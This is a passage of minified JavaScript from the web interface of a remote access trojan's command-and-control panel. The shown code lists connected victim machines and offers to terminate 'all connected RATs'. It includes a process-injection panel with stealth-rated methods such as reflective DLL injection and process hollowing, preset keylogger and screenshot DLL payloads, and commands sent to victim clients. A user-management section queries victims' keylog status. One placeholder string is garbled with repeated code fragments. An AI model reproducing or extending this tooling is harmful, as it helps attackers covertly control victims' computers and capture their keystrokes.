font-medium rounded-lg transition`,children:[`Blacklist Selected (`,c.size,`)`]}),(0,H.jsxs)(`button`,{onClick:k,disabled:c.size===0,className:`px-4 py-2 bg-green-600 hover:bg-green-500 disabled:bg-slate-700 disabled:text-slate-500 text-white font-medium rounded-lg transition`,children:[`Remove Blacklist (`,c.size,`)`]})]}),(0,H.jsx)(`div`,{className:`overflow-x-auto`,children:(0,H.jsxs)(`table`,{className:`w-full text-sm text-left`,children:[(0,H.jsx)(`thead`,{className:`text-xs uppercase bg-slate-800 text-slate-400`,children:(0,H.jsxs)(`tr`,{children:[(0,H.jsx)(`th`,{className:`px-4 py-3`,children:(0,H.jsx)(`input`,{type:`checkbox`,checked:c.size===M.length&&M.length>0,onChange:j,className:`w-4 h-4`})}),(0,H.jsx)(`th`,{className:`px-4 py-3`,children:`Client ID`}),(0,H.jsx)(`th`,{className:`px-4 py-3`,children:`Hostname`}),(0,H.jsx)(`th`,{className:`px-4 py-3`,children:`Username`}),(0,H.jsx)(`th`,{className:`px-4 py-3`,children:`Owner`}),(0,H.jsx)(`th`,{className:`px-4 py-3`,children:`OS`}),(0,H.jsx)(`th`,{className:`px-4 py-3`,children:`Status`}),(0,H.jsx)(`th`,{className:`px-4 py-3`,children:`Last Seen`}),(0,H.jsx)(`th`,{className:`px-4 py-3`,children:`Note`})]})}),(0,H.jsx)(`tbody`,{children:M.length===0?(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:9,className:`px-4 py-8 text-center text-slate-500`,children:`No clients found`})}):M.map(e=>(0,H.jsxs)(`tr`,{className:`border-b border-slate-700 hover:bg-slate-800/50 ${e.blacklisted?`bg-red-900/10`:``}`,children:[(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsx)(`input`,{type:`checkbox`,checked:c.has(e.id),onChange:()=>A(e.id),className:`w-4 h-4`})}),(0,H.jsxs)(`td`,{className:`px-4 py-3 font-mono text-xs text-slate-300`,children:[e.id.slice(0,8),`...`]}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-200`,children:e.hostname}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-300`,children:e.username}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400`,children:e.owner_username||`N/A`}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400`,children:e.os_version||`Unknown`}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:P(e)}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400 text-xs`,children:N(e.last_seen)}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400 text-xs max-w-xs truncate`,children:e.blacklist_reason||`-`})]},e.id))})]})}),(0,H.jsxs)(`div`,{className:`mt-4 text-sm text-slate-400`,children:[`Showing `,M.length,` of `,n.length,` total clients`]})]}),g&&(0,H.jsx)(`div`,{className:`fixed inset-0 bg-black/70 flex items-center justify-center z-50`,children:(0,H.jsxs)(`div`,{className:`bg-slate-900 border border-red-700 rounded-lg p-6 max-w-md w-full mx-4 shadow-2xl shadow-red-900/50`,children:[(0,H.jsx)(`h3`,{className:`text-xl font-bold text-red-400 mb-3`,children:`â ï¸ Confirm Global Terminate`}),(0,H.jsxs)(`p`,{className:`text-slate-300 text-sm mb-4`,children:[`This will `,(0,H.jsx)(`span`,{className:`font-bold text-red-400`,children:`KILL ALL CONNECTED RATS`}),` and reject new connections for`,` `,(0,H.jsxs)(`span`,{className:`font-bold`,children:[m,` minutes`]}),`.`]}),(0,H.jsxs)(`p`,{className:`text-slate-400 text-sm mb-4`,children:[`Type `,(0,H.jsx)(`span`,{className:`font-mono font-bold text-red-400`,children:`TERMINATE`}),` to confirm:`]}),(0,H.jsx)(`input`,{type:`text`,value:y,onChange:e=>b(e.target.value),placeholder:`Type TERMINATE`,className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-100 focus:outline-none focus:ring-2 focus:ring-red-500 mb-4`,autoFocus:!0}),(0,H.jsxs)(`div`,{className:`flex gap-3`,children:[(0,H.jsx)(`button`,{onClick:()=>{v(!1),b(``)},className:`flex-1 px-4 py-2 bg-slate-700 hover:bg-slate-600 text-white rounded-lg transition`,children:`Cancel`}),(0,H.jsx)(`button`,{onClick:T,disabled:y!==`TERMINATE`,className:`flex-1 px-4 py-2 bg-red-600 hover:bg-red-500 disabled:bg-slate-700 disabled:text-slate-500 text-white font-bold rounded-lg transition`,children:`Confirm Terminate`})]})]})})]}),(0,H.jsx)(Zr,{open:C,title:`Cancel Global Terminate`,message:`Are you sure you want to cancel the global terminate? RAT clients will be able to re
87connect.`,confirmLabel:`Yes, Cancel It`,cancelLabel:`Keep Active`,onConfirm:D,onCancel:()=>w(!1)})]})}function Ua(){let[e,t]=(0,_.useState)(`ws://localhost:8080/ws`),[n,r]=(0,_.useState)(`http://localhost:8080`),[i,a]=(0,_.useState)(``),[o,s]=(0,_.useState)(`general`);return(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-2xl font-semibold text-slate-100`,children:`Settings`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`Configure C2 server settings and management.`})]}),(0,H.jsxs)(`div`,{className:`flex gap-2 border-b border-slate-700`,children:[(0,H.jsx)(`button`,{onClick:()=>s(`general`),className:`px-4 py-2 font-medium transition border-b-2 ${o===`general`?`text-brand-400 border-brand-500`:`text-slate-400 border-transparent hover:text-slate-200`}`,children:`General`}),(0,H.jsx)(`button`,{onClick:()=>s(`terminate`),className:`px-4 py-2 font-medium transition border-b-2 ${o===`terminate`?`text-brand-400 border-brand-500`:`text-slate-400 border-transparent hover:text-slate-200`}`,children:`Terminate Management`})]}),o===`general`&&(0,H.jsxs)(`section`,{className:`panel p-4`,children:[(0,H.jsxs)(`div`,{className:`grid gap-4 md:grid-cols-2`,children:[(0,H.jsx)(Gn,{label:`WebSocket URL`,children:(0,H.jsx)(Un,{type:`text`,value:e,onChange:e=>t(e.target.value),placeholder:`ws://host:port/ws`})}),(0,H.jsx)(Gn,{label:`API Base URL`,children:(0,H.jsx)(Un,{type:`text`,value:n,onChange:e=>r(e.target.value),placeholder:`http://host:port`})}),(0,H.jsx)(Gn,{label:`Auth Token`,className:`md:col-span-2`,children:(0,H.jsx)(Un,{type:`password`,value:i,onChange:e=>a(e.target.value),placeholder:`Enter access token`})})]}),(0,H.jsxs)(`div`,{className:`mt-4 flex items-center justify-end gap-2`,children:[(0,H.jsx)(`button`,{type:`button`,className:`rounded-lg border border-slate-700 bg-slate-900 px-4 py-2 text-sm text-slate-200 transition hover:border-slate-500`,children:`Reset`}),(0,H.jsx)(`button`,{type:`button`,className:`rounded-lg bg-brand-600 px-4 py-2 text-sm font-medium text-white transition hover:bg-brand-500`,children:`Save Config`})]})]}),o===`terminate`&&(0,H.jsx)(Ha,{})]})}var Wa=[{id:`createremotethread`,name:`CreateRemoteThread`,description:`Standard DLL injection using CreateRemoteThread API`,requiresAdmin:!0,stealthLevel:`Low`},{id:`apcinjection`,name:`APC Injection`,description:`Queue APC in target thread for DLL loading`,requiresAdmin:!0,stealthLevel:`Medium`},{id:`setwindowshook`,name:`SetWindowsHook`,description:`Inject DLL via window message hooks`,requiresAdmin:!1,stealthLevel:`Medium`},{id:`reflective`,name:`Reflective DLL Injection`,description:`Load DLL from memory without touching disk`,requiresAdmin:!0,stealthLevel:`High`},{id:`processhollowing`,name:`Process Hollowing`,description:`Hollow out legitimate process and inject payload`,requiresAdmin:!0,stealthLevel:`High`}];function Ga({clientId:e,className:t=``,onSendCommand:n}){let[r,i]=(0,_.useState)(null),[a,o]=(0,_.useState)(Wa[0]),[s,c]=(0,_.useState)(``),[l,u]=(0,_.useState)(null),[d,f]=(0,_.useState)(!1),[p,m]=(0,_.useState)(!1),[h,g]=(0,_.useState)([]),[v,y]=(0,_.useState)(``),[b,x]=(0,_.useState)(!1),[S,C]=(0,_.useState)(!0),w=Ii(),T=(0,_.useMemo)(()=>{if(!e)return[];let t=w.getProcessList(e);return t?t.map(e=>({pid:e.pid,name:e.name,sessionId:1,memoryUsage:e.memory*1024,threadCount:0,parentPid:0,architecture:e.architecture===`x86`?`x86`:e.architecture===`x64`?`x64`:`Unknown`,user:e.username,path:e.path})):[]},[e,w]),E=(0,_.useMemo)(()=>T.filter(e=>{let t=!v||e.name.toLowerCase().includes(v.toLowerCase())||e.pid.toString().includes(v)||e.user.toLowerCase().includes(v.toLowerCase()),n=e.sessionId===0||e.user===`SYSTEM`||e.user===`LOCAL SERVICE`||e.user===`NETWORK SERVICE`;return t&&(b||!n)}),[T,v,b]),D=async()=>{if(!(!e||!n)){f(!0);try{n(`PROCESS_LIST`)}catch(e){console.error(`Failed to load processes:`,e)}finally{f(!1)}}};(0,_.useEffect)(()=>{if(!S||!e)return;let t=setInterval(D,5e3);return D(),()=>clearInterval(t)},[S,e,b]);let O=e=>{let t=e.target.files?.[0];if(t){if(!t.name.toLowerCase().endsWith(`.dll`)){alert(`Please select a DLL file`);return}u(t),c(t.name)}},k=async()=>
87{if(!e||!r||!s){alert(`Please select a process and provide a DLL path`);return}m(!0);try{n(`INJECT_DLL|${r.pid}|${s}|${a.id}`);let e={success:!1,pid:r.pid,dllPath:s,method:a.id,error:`Pending - waiting for response...`,timestamp:new Date().toISOString()};g(t=>[e,...t.slice(0,9)])}catch(e){console.error(`Injection failed:`,e),alert(`Injection failed: ${e.message}`)}finally{m(!1)}},A=e=>e<1024?`${e} B`:e<1024*1024?`${(e/1024).toFixed(1)} KB`:e<1024*1024*1024?`${(e/(1024*1024)).toFixed(1)} MB`:`${(e/(1024*1024*1024)).toFixed(1)} GB`;return(0,H.jsxs)(`div`,{className:`process-injection-panel ${t}`,style:{display:`flex`,flexDirection:`column`,height:`100%`,minHeight:0,width:`100%`,maxWidth:`100%`,minWidth:0,boxSizing:`border-box`,contain:`layout paint`,background:`#1a1a1a`,color:`#fff`,borderRadius:`8px`,overflow:`hidden`,fontFamily:`-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif`},children:[(0,H.jsxs)(`div`,{className:`bg-slate-950`,style:{display:`flex`,justifyContent:`space-between`,flexWrap:`wrap`,alignItems:`center`,padding:`16px 20px`,gap:`12px`,overflow:`hidden`,borderBottom:`1px solid #444`},children:[(0,H.jsx)(`h2`,{style:{margin:0,fontSize:`18px`,fontWeight:600},children:`Process Injection`}),(0,H.jsxs)(`div`,{style:{display:`flex`,gap:`12px`,alignItems:`center`,flexWrap:`wrap`,minWidth:0},children:[(0,H.jsx)(U,{onClick:D,disabled:d||!e,isLoading:d,style:{padding:`8px 16px`,background:`#4a4a4a`,color:`white`,border:`none`,borderRadius:`0px`,cursor:`pointer`,fontSize:`14px`,opacity:d||!e?.5:1},children:d?`Loading...`:`Refresh Processes`}),(0,H.jsxs)(`label`,{style:{display:`flex`,alignItems:`center`,gap:`6px`,fontSize:`14px`},children:[(0,H.jsx)(`input`,{type:`checkbox`,checked:S,onChange:e=>C(e.target.checked)}),`Auto-refresh`]}),(0,H.jsxs)(`label`,{style:{display:`flex`,alignItems:`center`,gap:`6px`,fontSize:`14px`},children:[(0,H.jsx)(`input`,{type:`checkbox`,checked:b,onChange:e=>x(e.target.checked)}),`Show System Processes`]})]})]}),(0,H.jsxs)(`div`,{className:`bg-slate-950`,style:{display:`flex`,flex:1,minHeight:0,overflow:`hidden`},children:[(0,H.jsxs)(`div`,{style:{flex:1,display:`flex`,flexDirection:`column`,borderRight:`1px solid #444`,minHeight:0,minWidth:0,overflow:`hidden`},children:[(0,H.jsxs)(`div`,{style:{padding:`12px 16px`,borderBottom:`1px solid #444`,display:`flex`,justifyContent:`space-between`,alignItems:`center`,flexWrap:`wrap`,gap:`10px`},children:[(0,H.jsxs)(`h3`,{style:{margin:0,fontSize:`16px`},children:[`Running Processes (`,E.length,`)`]}),(0,H.jsx)(`input`,{type:`text`,placeholder:`Search processes...`,value:v,onChange:e=>y(e.target.value),style:{padding:`6px 10px`,background:`#333`,color:`white`,border:`1px solid #555`,borderRadius:`0px`,fontSize:`14px`,width:`200px`,maxWidth:`100%`}})]}),(0,H.jsx)(`div`,{className:`scrollbar-hidden`,style:{flex:1,minHeight:0,overflowY:`auto`,overflowX:`auto`},children:E.length===0?(0,H.jsx)(`div`,{style:{padding:`40px 20px`,textAlign:`center`,color:`#888`},children:d?`Loading processes...`:`No processes found`}):(0,H.jsxs)(`table`,{style:{width:`100%`,minWidth:`720px`,borderCollapse:`collapse`},children:[(0,H.jsx)(`thead`,{children:(0,H.jsxs)(`tr`,{style:{background:`#2a2a2a`},children:[(0,H.jsx)(`th`,{style:{padding:`10px`,textAlign:`left`,borderBottom:`1px solid #444`},children:`PID`}),(0,H.jsx)(`th`,{style:{padding:`10px`,textAlign:`left`,borderBottom:`1px solid #444`}
87,children:`Name`}),(0,H.jsx)(`th`,{style:{padding:`10px`,textAlign:`left`,borderBottom:`1px solid #444`},children:`User`}),(0,H.jsx)(`th`,{style:{padding:`10px`,textAlign:`left`,borderBottom:`1px solid #444`},children:`Memory`}),(0,H.jsx)(`th`,{style:{padding:`10px`,textAlign:`left`,borderBottom:`1px solid #444`},children:`Arch`})]})}),(0,H.jsx)(`tbody`,{children:E.map(e=>(0,H.jsxs)(`tr`,{style:{cursor:`pointer`,background:r?.pid===e.pid?`#3a3a3a`:`transparent`,borderBottom:`1px solid #333`},onClick:()=>i(e),children:[(0,H.jsx)(`td`,{style:{padding:`10px`},children:e.pid}),(0,H.jsx)(`td`,{style:{padding:`10px`},title:e.path,children:e.name}),(0,H.jsx)(`td`,{style:{padding:`10px`},children:e.user}),(0,H.jsx)(`td`,{style:{padding:`10px`},children:A(e.memoryUsage)}),(0,H.jsx)(`td`,{style:{padding:`10px`},children:e.architecture})]},e.pid))})]})})]}),(0,H.jsxs)(`div`,{style:{flex:1,display:`flex`,flexDirection:`column`,minHeight:0,minWidth:0,overflow:`hidden`},children:[(0,H.jsxs)(`div`,{style:{padding:`12px 16px`,borderBottom:`1px solid #444`},children:[(0,H.jsx)(`h3`,{style:{margin:0,fontSize:`16px`},children:`Injection Controls`}),r&&(0,H.jsxs)(`div`,{style:{marginTop:`8px`,fontSize:`14px`,color:`#aaa`},children:[`Selected: `,(0,H.jsx)(`strong`,{style:{color:`#fff`},children:r.name}),` (PID: `,r.pid,`)`]})]}),(0,H.jsxs)(`div`,{className:`scrollbar-hidden`,style:{padding:`16px`,flex:1,minHeight:0,overflowY:`auto`,overflowX:`hidden`},children:[(0,H.jsxs)(`div`,{style:{marginBottom:`20px`},children:[(0,H.jsx)(`label`,{style:{display:`block`,marginBottom:`8px`,fontSize:`14px`,fontWeight:500},children:`Injection Method`}),(0,H.jsx)(`div`,{style:{display:`grid`,gridTemplateColumns:`repeat(auto-fit, minmax(220px, 1fr))`,gap:`10px`},children:Wa.map(e=>(0,H.jsxs)(`div`,{style:{padding:`12px`,background:a.id===e.id?`#111`:`#000`,border:a.id===e.id?`1px dashed #fff`:`1px dashed #444`,borderRadius:`0px`,cursor:`pointer`,transition:`all 0.2s`},onClick:()=>o(e),children:[(0,H.jsxs)(`div`,{style:{display:`flex`,justifyContent:`space-between`,alignItems:`center`,marginBottom:`8px`},children:[(0,H.jsx)(`h4`,{style:{margin:0,fontSize:`14px`,fontWeight:600},children:e.name}),(0,H.jsx)(`span`,{style:{padding:`2px 6px`,fontSize:`11px`,borderRadius:`0px`,background:`#000`,border:`1px dashed `+(e.stealthLevel===`Low`?`#e74c3c`:e.stealthLevel===`Medium`?`#f39c12`:`#27ae60`),color:e.stealthLevel===`Low`?`#e74c3c`:e.stealthLevel===`Medium`?`#f39c12`:`#27ae60`},children:e.stealthLevel})]}),(0,H.jsx)(`p`,{style:{margin:`8px 0`,fontSize:`12px`,color:`#aaa`,lineHeight:1.4},children:e.description}),(0,H.jsx)(`div`,{style:{fontSize:`11px`,color:e.requiresAdmin?`#e74c3c`:`#27ae60`},children:e.requiresAdmin?`Admin Required`:`No Admin Needed`})]},e.id))})]}),(0,H.jsxs)(`div`,{style:{marginBottom:`20px`},children:[(0,H.jsx)(`label`,{style:{display:`block`,marginBottom:`8px`,fontSize:`14px`,fontWeight:500},children:`DLL to Inject`}),(0,H.jsxs)(`div`,{children:[(0,H.jsxs)(`div`,{style:{marginBottom:`10px`},children:[(0,H.jsx)(`input`,{type:`text`,placeholder:`C:background: !selectedProcess || !dllPath || isInjecting || !clientId ? '#000' : '#000'background: !selectedProcess || !dllPath || isInjecting || !clientId ? '#000' : '#000'pathbackground: !selectedProcess || !dllPath || isInjecting || !clientId ? '#000' : '#000'background: !selectedProcess || !dllPath || isInjecting || !clientId ? '#000' : '#000'tobackground: !selectedProcess || !dllPath || isInjecting || !clientId ? '#000' : '#000'background: !selectedProcess || !dllPath || isInjecting || !clientId ? '#000' : '#000'payload.dll`,value:s,onChange:e=>c(e.target.value),disabled:!!l,style:{width:`100%`,padding:`10px`,background:`#000`,color:`white`,border:`1px dashed #fff`,borderRadius:`0px`,fontSize:`14px`,marginBottom:`10px`}}),(0,H.jsxs)(`div`,{style:{display:`flex`,alignItems:`center`,gap:`10px`},children:[(0,H.jsx)(`input`,{type:`file`,id:`dll-upload`,accept:`.dll`,onChange:O,style:{display:`none`}}),(0,H.jsx)(`label`,{htmlFor:`dll-upload`,style:{padding:`8px 16px`,background:`#000`,color:`white`,border:`1px dashed #fff`,borderRadius:`0px`,curs
87or:`pointer`,fontSize:`14px`,display:`inline-block`},children:`Upload DLL`}),l&&(0,H.jsxs)(`span`,{style:{display:`flex`,alignItems:`center`,gap:`8px`,padding:`6px 12px`,background:`#000`,border:`1px dashed #fff`,borderRadius:`0px`,fontSize:`14px`},children:[l.name,(0,H.jsx)(`button`,{onClick:()=>{u(null),c(``)},style:{background:`none`,border:`none`,color:`#fff`,cursor:`pointer`,fontSize:`18px`,padding:`0 4px`},children:`Ã`})]})]})]}),(0,H.jsxs)(`div`,{style:{marginTop:`10px`},children:[(0,H.jsx)(`p`,{style:{margin:`0 0 8px 0`,fontSize:`13px`,color:`#aaa`},children:`Predefined Payloads:`}),(0,H.jsxs)(`div`,{style:{display:`flex`,gap:`8px`,flexWrap:`wrap`},children:[(0,H.jsx)(`button`,{onClick:()=>c(`C:\\\\Windows\\\\System32\\\\user32.dll`),style:{padding:`6px 12px`,background:`#000`,color:`white`,border:`1px dashed #fff`,borderRadius:`0px`,cursor:`pointer`,fontSize:`13px`},children:`user32.dll`}),(0,H.jsx)(`button`,{onClick:()=>c(`C:\\\\Windows\\\\System32\\\\kernel32.dll`),style:{padding:`6px 12px`,background:`#000`,color:`white`,border:`1px dashed #fff`,borderRadius:`0px`,cursor:`pointer`,fontSize:`13px`},children:`kernel32.dll`}),(0,H.jsx)(`button`,{onClick:()=>c(`payloads\\\\keylogger.dll`),style:{padding:`6px 12px`,background:`#000`,color:`white`,border:`1px dashed #fff`,borderRadius:`0px`,cursor:`pointer`,fontSize:`13px`},children:`Keylogger DLL`}),(0,H.jsx)(`button`,{onClick:()=>c(`payloads\\\\screenshot.dll`),style:{padding:`6px 12px`,background:`#000`,color:`white`,border:`1px dashed #fff`,borderRadius:`0px`,cursor:`pointer`,fontSize:`13px`},children:`Screenshot DLL`})]})]})]})]}),(0,H.jsxs)(`div`,{style:{marginBottom:`20px`},children:[(0,H.jsx)(U,{onClick:k,disabled:!r||!s||p||!e,isLoading:p,style:{width:`100%`,padding:`12px`,background:!r||!s||p||!e?`#333`:`#4a90e2`,color:`white`,border:`1px dashed #fff`,borderRadius:`0px`,cursor:!r||!s||p||!e?`not-allowed`:`pointer`,fontSize:`16px`,fontWeight:600,opacity:!r||!s||p||!e?.5:1},children:p?`Injecting...`:`Inject using ${a.name}`}),(0,H.jsxs)(`div`,{style:{marginTop:`10px`,fontSize:`13px`,color:`#aaa`},children:[a.requiresAdmin&&(0,H.jsx)(`div`,{style:{color:`#e74c3c`,marginBottom:`4px`},children:`â ï¸ Requires Administrator privileges`}),(0,H.jsxs)(`div`,{children:[`Stealth level: `,(0,H.jsx)(`strong`,{children:a.stealthLevel})]})]})]}),h.length>0&&(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h4`,{style:{margin:`0 0 10px 0`,fontSize:`15px`},children:`Recent Injections`}),(0,H.jsx)(`div`,{style:{display:`flex`,flexDirection:`column`,gap:`8px`},children:h.map((e,t)=>(0,H.jsxs)(`div`,{style:{padding:`10px`,background:e.success?`rgba(39, 174, 96, 0.1)`:`rgba(231, 76, 60, 0.1)`,border:`1px solid ${e.success?`#27ae60`:`#e74c3c`}`,borderRadius:`0px`},children:[(0,H.jsxs)(`div`,{style:{display:`flex`,justifyContent:`space-between`,alignItems:`center`,marginBottom:`4px`},children:[(0,H.jsxs)(`span`,{style:{fontSize:`13px`,fontWeight:500},children:[`PID: `,e.pid]}),(0,H.jsx)(`span`,{style:{fontSize:`12px`,color:`#aaa`},children:e.method}),(0,H.jsx)(`span`,{style:{fontSize:`12px`,color:`#aaa`},children:new Date(e.timestamp).toLocaleTimeString()})]}),(0,H.jsxs)(`div`,{style:{display:`flex`,justifyContent:`space-between`,alignItems:`center`},children:[(0,H.jsx)(`span`,{style:{fontSize:`12px`,color:`#aaa`},title:e.dllPath,children:e.dllPath.split(`\\`).pop()}),e.success?(0,H.jsx)(`span`,{style:{color:`#27ae60`,fontSize:`12px`,fontWeight:500},children:`â Success`}):(0,H.jsxs)(`span`,{style:{color:`#e74c3c`,fontSize:`12px`},children:[`â Failed: `,e.error]})]})]},t))})]})]})]})]})]})}function Ka(e){return typeof e==`object`&&!!e}function qa(e){if(!Ka(e))return null;let t=String(e.id??``).trim();return t?{id:t,ip:String(e.ip??e.ip_address??`-`),hostname:String(e.hostname??e.host??`-`),os:String(e.os??e.os_version??e.platform??`-`),status:String(e.status??(e.is_online?`online`:`offline`)),lastSeen:typeof e.lastSeen==`number`?e.lastSeen:typeof e.last_seen==`number`?e.last_seen:Date.now()}:null}function Ja(){let[e,t]=(0,_.useState)(void 0),{status:n,lastError:r,subscribeAll:i,send:a}=pi(),o=Ii(),s=(0,_.useMemo)(()=>o.clients.map(qa).filter(e=>e!==null),[o.clients]),c=(0,_.useMemo)(()=>s.find(t=>
87t.id===e),[s,e]);(0,_.useEffect)(()=>i((t,n)=>{if((n??t.topic??t.type)===`process_list`){let n=typeof t.clientId==`string`?t.clientId:e,r=Array.isArray(t.processes)?t.processes:Array.isArray(t.payload)?t.payload:Array.isArray(t.data)?t.data:[],i=Array.isArray(r)?r.map(e=>({pid:e.pid,name:e.name||``,memory:e.memory||0,architecture:e.architecture||`Unknown`,username:e.username||`Unknown`,path:e.path||``,priority:e.priority||0})):[];n&&i.length>0&&o.setProcessList(n,i);return}}),[i,e,o]),(0,_.useEffect)(()=>{t(e=>{if(s.length!==0)return e&&s.some(t=>t.id===e)?e:s[0].id})},[s]);let l=t=>{!e||!a||(a({type:`command`,clientId:e,command:t})?console.log(`Command sent:`,t,`to client:`,e):console.error(`Failed to send command via WebSocket`))},{pendingItem:u,isOpen:d,requestConfirm:f,cancelConfirm:p,confirm:m}=mi(e=>{o.removeClient(e.id),a({type:`db_query`,query:`delete_client`,clientId:e.id,impersonateUserId:o.impersonateUserId??void 0})});return(0,H.jsxs)(`div`,{className:`space-y-4 overflow-x-hidden bg-slate-950!`,children:[(0,H.jsxs)(`div`,{className:`panel flex flex-wrap items-center justify-between gap-3 p-2 w-full`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-lg font-semibold text-slate-100`,children:`Process Injection`}),c?(0,H.jsxs)(`p`,{className:`text-sm text-slate-300`,children:[`Selected: `,(0,H.jsx)(`span`,{className:`font-medium text-slate-100`,children:c.id}),` · `,c.hostname,` ·`,` `,c.ip,` · `,c.os]}):(0,H.jsx)(`p`,{className:`text-sm text-slate-400`,children:`No client selected`})]}),(0,H.jsxs)(`div`,{className:`text-right text-sm`,children:[(0,H.jsxs)(`p`,{className:`text-slate-300`,children:[`Socket: `,(0,H.jsx)(`span`,{className:`font-medium capitalize text-slate-100`,children:n})]}),r?(0,H.jsx)(`p`,{className:`text-red-400`,children:r}):null]})]}),(0,H.jsxs)(`div`,{className:`grid min-w-0 gap-4`,children:[(0,H.jsx)(ni,{clients:s,onSelectClient:e=>t(e.id),selectedClientId:e,onDeleteClient:f}),(0,H.jsx)(`div`,{className:`sticky top-4 lg:top-8 h-[calc(100vh-8rem)] min-h-160 min-w-0 overflow-hidden`,children:(0,H.jsx)(Ga,{clientId:e,className:`h-full min-h-0`,onSendCommand:l})})]}),(0,H.jsx)(Zr,{open:d,title:`Delete Client`,message:u?`Delete client ${u.id}? This removes stored data and disconnects it if online.`:``,confirmLabel:`Delete`,cancelLabel:`Cancel`,variant:`danger`,onConfirm:m,onCancel:p})]})}function Ya(){let[e,t]=(0,_.useState)([]),[n,r]=(0,_.useState)(!0),[i,a]=(0,_.useState)(null),[o,s]=(0,_.useState)(!1),[c,l]=(0,_.useState)(!1),[u,d]=(0,_.useState)(null),[f,p]=(0,_.useState)(!1),[m,h]=(0,_.useState)(null),[g,v]=(0,_.useState)(null),[y,b]=(0,_.useState)(null),[x,S]=(0,_.useState)(!1),[C,w]=(0,_.useState)(null),[T,E]=(0,_.useState)([]),[D,O]=(0,_.useState)([]),[k,A]=(0,_.useState)(null),{setImpersonation:j,impersonateUserId:M}=Ii(),{executeQuery:N}=wa(void 0,{autoConnect:!1}),[P,F]=(0,_.useState)({username:``,password:``,confirmPassword:``,role:`user`}),[I,L]=(0,_.useState)({username:``,role:`user`,is_active:1}),R=async()=>{try{r(!0);let e=await fetch(`/api/auth/users`,{credentials:`include`}),n=null;try{n=await e.json()}catch{n=null}if(!e.ok)throw Error(n?.error||`Failed to fetch users`);t((n?.users||[]).map(e=>({id:String(e?.id??``),username:String(e?.username??`unknown`),role:e?.role===`admin`?`admin`:`user`,created_at:Number(e?.created_at??0),last_login:e?.last_login==null?null:Number(e.last_login),is_active:+!!Number(e?.is_active??1)}))),a(null)}catch(e){a(e instanceof Error?e.message:`Failed to load users`),console.error(`Error fetching users:`,e)}finally{r(!1)}};(0,_.useEffect)(()=>{R()},[]),(0,_.useEffect)(()=>{(async()=>{if(!y){E([]),O([]),A(null),w(null);return}try{S(!0),w(null);let[e,t,n]=await Promise.all([N({query:`get_clients`,limit:300,offset:0,impersonateUserId:y}),N({query:`get_keylog_status`,impersonateUserId:y}),N({query:`get_statistics`,impersonateUserId:y})]);E(Array.isArray(e)?e:[]),O(Array.isArray(t)?t:[]),A(n??null)}catch(e){w(e instanceof Error?e.message:`Failed to load user details`)}finally{S(!1)}})()},[y,N]);let ee=async e=>{if(e.preventDefault(),P.password!==P.confirmPassword){a(`Passwords do not match`);return}if(P.password.length<6){a(`Password must be at least 6 characters`);return}p(!0);try{let e=await fetch(`/api/auth/register`,{method:`POST`,headers:{"Content-Type":`application/json`},credentials:`include`,body:JSON.stringify({username:P.username,password:P.password,role:P.role})});if(!e.ok){let t=await e.json();throw Error(t.error||`Failed to create user`)}F({username:``,password:``,confirmPassword:``,role:`user`}),s(!1),R(),a(null)}catch(e){a(e instanceof Error?e.message:`Failed to create user`)}finally{p(!1)}},te=async e=>{if(e.preventDefault(),u){p(!0);
87try{let e=await fetch(`/api/auth/users/${u.id}`,{method:`PUT`,headers:{"Content-Type":`application/json`},credentials:`include`,body:JSON.stringify({role:I.role,is_active:I.is_active})});if(!e.ok){let t=await e.json();throw Error(t.error||`Failed to update user`)}l(!1),d(null),R(),a(null)}catch(e){a(e instanceof Error?e.message:`Failed to update user`)}finally{p(!1)}}},ne=async e=>{h(e);try{let t=await fetch(`/api/auth/users/${e}`,{method:`DELETE`,credentials:`include`});if(!t.ok){let e=await t.json();throw Error(e.error||`Failed to delete user`)}R()}catch(e){a(e instanceof Error?e.message:`Failed to delete user`)}finally{h(null)}},z=e=>{if(!e)return`Never`;let t=e<0xe8d4a51000?e*1e3:e;return new Date(t).toLocaleString()},B=e=>{let t=String(e??``);return t?t.slice(0,8).toUpperCase():`UNKNOWN`},re=e=>{d(e),L({username:e.username,role:e.role,is_active:e.is_active}),l(!0)},ie=e.find(e=>e.id===y)||null,ae=T.filter(e=>Number(e.is_online)===1).length,oe=Math.max(0,T.length-ae),se=D.length,ce=T.reduce((e,t)=>{let n=Number(t.lastSeen??t.last_seen??0);return n>e?n:e},0);return n?(0,H.jsx)(`div`,{className:`flex items-center justify-center h-64`,children:(0,H.jsx)(`div`,{className:`text-slate-400`,children:`Loading users...`})}):(0,H.jsxs)(`div`,{className:`space-y-6`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h1`,{className:`text-3xl font-bold text-white`,children:`User Management`}),(0,H.jsx)(`p`,{className:`text-slate-400 mt-1`,children:`Manage system users and permissions`})]}),(0,H.jsxs)(U,{onClick:()=>s(!0),className:`flex items-center bg-blue-600 hover:bg-blue-700 text-white border-0`,children:[(0,H.jsx)(Kr,{className:`w-5 h-5`}),`Add User`]})]}),i&&(0,H.jsx)(`div`,{className:`bg-red-900/30 border border-red-700 text-red-300 px-4 py-3 rounded-lg`,children:i}),(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-xl border border-slate-800 overflow-hidden`,children:[(0,H.jsx)(`div`,{className:`overflow-x-auto`,children:(0,H.jsxs)(`table`,{className:`w-full`,children:[(0,H.jsx)(`thead`,{className:`bg-slate-800`,children:(0,H.jsxs)(`tr`,{children:[(0,H.jsx)(`th`,{className:`py-3 px-4 text-left text-slate-300 font-medium`,children:`User`}),(0,H.jsx)(`th`,{className:`py-3 px-4 text-left text-slate-300 